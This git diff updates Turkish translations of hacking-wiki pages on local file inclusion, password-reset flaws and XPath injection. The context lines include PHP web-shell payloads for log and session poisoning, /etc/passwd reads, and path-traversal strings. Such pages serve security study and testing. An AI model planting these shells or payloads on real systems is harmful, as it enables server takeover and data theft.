LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığı istismar edilmeye çalışılabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
|
||||
`.phar` dosyaları bağlamında deserialization açıklarının istismarını anlamak için aşağıdaki belgede yer alan bilgilere başvurun:
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etmeyi anlamak için aşağıdaki belgede yer alan bilgilere başvurun:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
@ -406,7 +406,7 @@ LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştı
|
|||
### CVE-2024-2961
|
||||
|
||||
**php filtrelerini destekleyen herhangi bir dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Ayrıntılı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese yazma** imkanı sağlandı, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Çok hızlı özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese yazma** imkanı sağlandı, böylece **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
|
||||
### Daha Fazla Protokol
|
||||
|
@ -418,13 +418,13 @@ Burada dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.p
|
|||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir şey yazdırmadığı için burada pek faydalı değil)
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için faydalı değil)
|
||||
|
||||
## PHP'nin 'assert' ile LFI
|
||||
|
||||
PHP'deki Local File Inclusion (LFI) riskleri, dizeler içinde kod çalıştırabilen 'assert' fonksiyonu ile çalışırken oldukça yüksektir. Bu, ".." gibi dizin geçiş karakterleri içeren girişlerin kontrol edilmesi ancak düzgün bir şekilde temizlenmemesi durumunda özellikle sorunludur.
|
||||
PHP'deki Local File Inclusion (LFI) riskleri, dizin geçiş karakterleri gibi ".." içeren girdilerin kontrol edildiği ancak düzgün bir şekilde temizlenmediği durumlarda 'assert' fonksiyonu ile oldukça yüksektir.
|
||||
|
||||
Örneğin, PHP kodu dizin geçişini önlemek için şu şekilde tasarlanmış olabilir:
|
||||
```bash
|
||||
|
@ -440,7 +440,7 @@ Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şunlar kul
|
|||
```
|
||||
**Bu yükleri URL-encode etmek önemlidir.**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -453,33 +453,33 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişim** sağladığınız ancak dosyanın içeriğini göremediğiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) durumlarda geçerlidir.
|
||||
Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişim** sağlanan **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ve içerik gösterilmez.
|
||||
{% endhint %}
|
||||
|
||||
[**bu muhteşem yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir blind path traversal'ın PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
|
||||
[**bu muhteşem yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir kör yol geçişinin PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
|
||||
|
||||
Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir.
|
||||
|
||||
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve diğerleriyle birlikte **base64** veya **rot13** gibi filtreler kullanılır ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **diğer karakterler başa yerleştirilir ve sızdırılır**.
|
||||
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedefi yalnızca bu ile okuyun)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Teknik detaylar için belirtilen yazıya bakın!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Uzak Dosya Dahil Etme
|
||||
### Uzaktan Dosya Dahil Etme
|
||||
|
||||
Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](./#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx log dosyası aracılığıyla
|
||||
|
||||
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, dahil etme fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edin.
|
||||
Eğer Apache veya Nginx sunucusu **LFI'ye karşı zayıfsa**, dahil etme fonksiyonu içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`** dosyasına erişmeye çalışabilirsiniz, **kullanıcı ajanı** içinde veya bir **GET parametresi** içinde **`<?php system($_GET['c']); ?>`** gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, çift tırnaklar "_**quote;**_" dizesi için değiştirilecektir, **PHP burada bir hata verecektir** ve **başka hiçbir şey çalıştırılmayacaktır**.
|
||||
|
@ -487,7 +487,7 @@ Shell için **çift tırnak** kullanıyorsanız, **basit tırnaklar** yerine, ç
|
|||
Ayrıca, **yükü doğru yazdığınızdan emin olun** yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.
|
||||
{% endhint %}
|
||||
|
||||
Bu, diğer loglarda da yapılabilir ancak **dikkatli olun**, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. **Authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
|
||||
Bu, diğer loglarda da yapılabilir ama **dikkatli olun**, loglardaki kod URL encode edilmiş olabilir ve bu Shell'i bozabilir. **Authorization "basic"** başlığı, Base64'te "user:password" içerir ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.\
|
||||
Diğer olası log yolları:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -548,7 +548,7 @@ Set the cookie to `<?php system('cat /etc/passwd');?>`
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFI'yi PHP oturum dosyasını dahil etmek için kullanın
|
||||
PHP oturum dosyasını dahil etmek için LFI'yi kullanın.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -558,7 +558,7 @@ Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc
|
|||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:
|
||||
|
||||
1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
|
||||
2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ konumundan alın.
|
||||
|
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
|
||||
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) **php filtrelerini kullanarak rastgele içerik** oluşturabileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **rastgele php kodu** oluşturabileceğiniz anlamına gelir.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -632,7 +632,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
|||
```
|
||||
### phpinfo() Üzerinden (file\_uploads = on)
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir dosya ile file\_uploads = on bulduysanız RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **file\_uploads = on** olan bir dosya **phpinfo()** sunuyorsa, RCE elde edebilirsiniz:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -640,7 +640,7 @@ Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u gösteren bir
|
|||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Üzerinden
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarı aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarı sızdırabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -670,7 +670,7 @@ _Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyalar
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -34,7 +34,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize kat
|
|||
|
||||
* HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
||||
* **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
||||
* **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin.** Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** kontrol edin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
|
||||
* **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **e-posta adresinize bir şifre sıfırlama talep edin** ve sağlanan **sıfırlama bağlantısına tıklayın**. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) **gidin**. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** kontrol edin, çünkü bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
|
||||
* **Referanslar**:
|
||||
* [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
||||
* [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
||||
|
@ -44,7 +44,7 @@ Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize kat
|
|||
|
||||
* Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
||||
* **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirme.
|
||||
* **Hafifletme Adımları**:
|
||||
* **Önleme Adımları**:
|
||||
* Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
||||
* Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
||||
* **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
||||
|
@ -97,10 +97,10 @@ POST /resetPassword
|
|||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
* **Mitigation Steps**:
|
||||
* **Azaltma Adımları**:
|
||||
* E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın.
|
||||
* Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın.
|
||||
* **References**:
|
||||
* **Referanslar**:
|
||||
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
@ -128,13 +128,13 @@ POST /api/changepass
|
|||
* **Referanslar**:
|
||||
* [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma**
|
||||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Öğrenin**
|
||||
|
||||
* Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
||||
* Zaman Damgasına Dayalı
|
||||
* Kullanıcı Kimliğine Dayalı
|
||||
* Kullanıcının E-posta Adresine Dayalı
|
||||
* Ad ve Soyadına Dayalı
|
||||
* Ad ve Soyada Dayalı
|
||||
* Doğum Tarihine Dayalı
|
||||
* Kriptografi Temelli
|
||||
* **Azaltma Adımları**:
|
||||
|
@ -144,19 +144,19 @@ POST /api/changepass
|
|||
|
||||
## **Tahmin Edilebilir UUID**
|
||||
|
||||
* UUID'ler (versiyon 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
|
||||
* UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
|
||||
|
||||
{% content-ref url="uuid-insecurities.md" %}
|
||||
[uuid-insecurities.md](uuid-insecurities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Azaltma Adımları**:
|
||||
* Rastgelelik için GUID versiyon 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
|
||||
* Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
||||
* **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||||
|
||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştirme**
|
||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir**
|
||||
|
||||
* Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
||||
* Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etmek.
|
||||
* **Azaltma Adımları**:
|
||||
* Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulamak.
|
||||
* Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanmak.
|
||||
|
@ -165,7 +165,7 @@ POST /api/changepass
|
|||
|
||||
## **Süresi Dolmuş Token Kullanma**
|
||||
|
||||
* Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
|
||||
* Süresi dolmuş token'ların hala şifre sıfırlama için kullanılabilir olup olmadığını test etme.
|
||||
* **Azaltma Adımları**:
|
||||
* Katı token süresi dolma politikaları uygulamak ve token süresini sunucu tarafında doğrulamak.
|
||||
|
||||
|
@ -182,15 +182,15 @@ POST /api/changepass
|
|||
* **Azaltma Adımları**:
|
||||
* Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Şifre Sıfırlama**
|
||||
|
||||
* Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
|
||||
* Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak.
|
||||
* **Azaltma Adımları**:
|
||||
* Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulamak.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Şifre Sıfırlama**
|
||||
|
||||
* Sıfırlama token'larının geçersiz hale gelmeden önce bir son kullanma süresi olmalıdır.
|
||||
* Sıfırlama token'larının geçersiz hale geldiği bir son kullanma süresi olmalıdır.
|
||||
* **Azaltma Adımları**:
|
||||
* Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında katı bir şekilde uygulayın.
|
||||
|
||||
|
@ -198,7 +198,7 @@ POST /api/changepass
|
|||
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve hata avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -214,8 +214,8 @@ Yeni başlayan hata ödülleri ve kritik platform güncellemeleri hakkında bilg
|
|||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -223,7 +223,7 @@ GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -39,10 +39,10 @@ XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine day
|
|||
İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:
|
||||
|
||||
* **nodename**: "nodename" adındaki tüm düğümler seçilir.
|
||||
* **/**: Kök düğümden seçim yapılır.
|
||||
* **/**: Seçim kök düğümden yapılır.
|
||||
* **//**: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.
|
||||
* **.**: Mevcut düğüm seçilir.
|
||||
* **..**: Mevcut düğümün ebeveyni seçilir.
|
||||
* **..**: Mevcut düğümün üst düğümü seçilir.
|
||||
* **@**: Nitelikler seçilir.
|
||||
|
||||
### XPath Örnekleri
|
||||
|
@ -50,38 +50,38 @@ XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine day
|
|||
Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:
|
||||
|
||||
* **bookstore**: "bookstore" adındaki tüm düğümler seçilir.
|
||||
* **/bookstore**: Kök öğesi bookstore seçilir. Bir öğeye giden mutlak yolun, bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
|
||||
* **bookstore/book**: bookstore'un çocukları olan tüm book öğeleri seçilir.
|
||||
* **//book**: Belgedeki tüm book öğeleri seçilir, konumlarından bağımsız olarak.
|
||||
* **bookstore//book**: bookstore öğesinin altındaki tüm book öğeleri seçilir, bookstore öğesi altındaki konumlarından bağımsız olarak.
|
||||
